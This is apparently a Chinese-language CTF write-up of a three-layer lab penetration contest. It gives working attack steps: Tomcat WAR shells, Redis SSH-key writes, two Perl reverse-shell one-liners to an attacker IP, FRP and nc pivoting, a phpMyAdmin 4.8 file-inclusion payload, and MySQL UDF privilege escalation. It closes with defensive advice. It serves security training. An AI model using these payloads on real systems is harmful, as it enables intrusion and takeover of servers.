记某次三层网络的综合渗透比赛
字数 1413 2025-08-15 21:33:10
三层网络综合渗透比赛技术复盘与教学文档
1. 比赛环境概述
- 比赛时长: 4小时
- 网络结构: 三层内网架构
- 工具限制:
- 提供云桌面环境
- 可从本机拖拽工具上传
- 禁止访问互联网搜索资料
2. 第一层渗透
2.1 Tomcat管理界面攻击
目标: 192.168.1.12:8080
攻击步骤:
- 弱口令登录: tomcat/tomcat
- 部署WAR包getshell:
jar -cvf shell.war ./ - 获取第一个flag: 位于tomcat用户目录
2.2 Redis服务利用
发现:
- 开放6379端口(Redis)
- 查看历史命令发现Redis配置信息:
cat /etc/redis/redis.conf |grep requirepass- 密码: 617c2a17f
反弹shell:
perl -e 'use Socket;$i="192.168.0.20";$p=9964;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Redis认证登录:
- 使用获取的密码617c2a17f登录
- 获取第二个flag
2.3 SSH公钥写入提权
步骤:
- 生成SSH密钥对
- 通过Redis写入公钥:
config get dir config set dbfilename authorized_keys set payload "\n\n\n\nssh-rsa AAAAB3NzaC1yc2E...\n\n\n\n" save - 使用私钥登录获取root权限
- 获取/root/flag
2.4 DeDeCMS渗透
目标: 192.168.1.11:80
攻击步骤:
- 目录扫描发现.swp文件
- 恢复.swp文件获取密码: 7h123s6x
- 后台登录:
- 用户: admin
- 密码: 7h123s6x
- 文件上传getshell
- 获取/flag和网站根目录flag.txt
反弹shell技巧:
- 将反弹shell语句写入文件执行:
system('perl -e \'use Socket;$i="192.168.0.20";$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i"') - 建立虚拟终端:
python -c 'import pty;pty.spawn("/bin/bash")'
3. 第二层渗透
3.1 内网扫描
nmap -sP 192.168.2.1/24
发现多个存活主机
3.2 FRP内网穿透
配置:
- frps.ini (服务端):
[common] bind_port = 9900 - frpc.ini (客户端):
[common] server_addr = 127.0.0.1 server_port = 9900 [range:s2-2] type = tcp local_ip = 192.168.2.22 local_port = 8080 remote_port = 19900
使用方法:
./frps -c frps.ini
./frpc -c frpc.ini
访问192.168.1.12:19900相当于访问192.168.2.22:8080
3.3 数据库凭证利用
发现凭证:
- 用户名: wugege@chinatele.com
- 密码: wuchinatelecom761
攻击步骤:
- 使用凭证登录系统
- 在首页获取flag
- 通过发帖处文件上传获取webshell
- 在根目录获取另一个flag
4. 第三层渗透
4.1 文件传输技巧
当大马上传不稳定时,使用NC传输文件:
接收端:
nc -l 9999 > frpc
发送端:
nc 192.168.2.22 9999 < frpc
4.2 FRP深层穿透配置
frps.ini:
[common]
bind_port = 9901
frpc.ini:
[common]
server_addr = 192.168.1.12
server_port = 9901
[range:s2-2]
type = tcp
local_ip = 192.168.2.21
local_port = 80
remote_port = 19901
4.3 phpMyAdmin渗透
攻击步骤:
- 弱口令登录: root/root
- 发现flag库获取flag
- 版本识别: 4.8 (存在文件包含漏洞)
- 文件包含测试:
http://192.168.1.12:19901/pma/README?target=db_datadict.php%253f/etc/passwd - 写shell:
select "<?php phpinfo();?>" INTO OUTFILE "/var/www/html/1.php"
4.4 UDF提权
步骤:
- 查看插件目录:
show variables like '%plugin%'; - 写入UDF库:
select unhex('xxxxxxxxxxxxxx') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so'; - 创建函数:
create function sys_eval returns string soname 'mysqludf.so'; - 执行命令:
select sys_eval('whoami'); - 获取/root/flag
5. 关键技术与技巧总结
- 弱口令利用: Tomcat、Redis、phpMyAdmin等服务的默认/常见弱口令
- WAR包部署: Tomcat管理界面getshell的标准方法
- Redis利用: 认证绕过、SSH公钥写入提权
- 文件恢复: .swp文件恢复获取敏感信息
- 内网穿透: FRP工具的多层穿透配置
- 文件传输: NC替代不稳定的大马上传
- phpMyAdmin漏洞: 文件包含、写shell技术
- UDF提权: MySQL数据库提权标准流程
6. 防御建议
- 禁用或修改所有默认凭证
- 限制Redis等服务的网络访问
- 禁用不必要的文件交换功能(.swp文件)
- 实施严格的文件上传过滤
- 定期更新所有服务组件
- 限制数据库用户权限
- 实施网络分段和访问控制
- 监控异常的网络穿透行为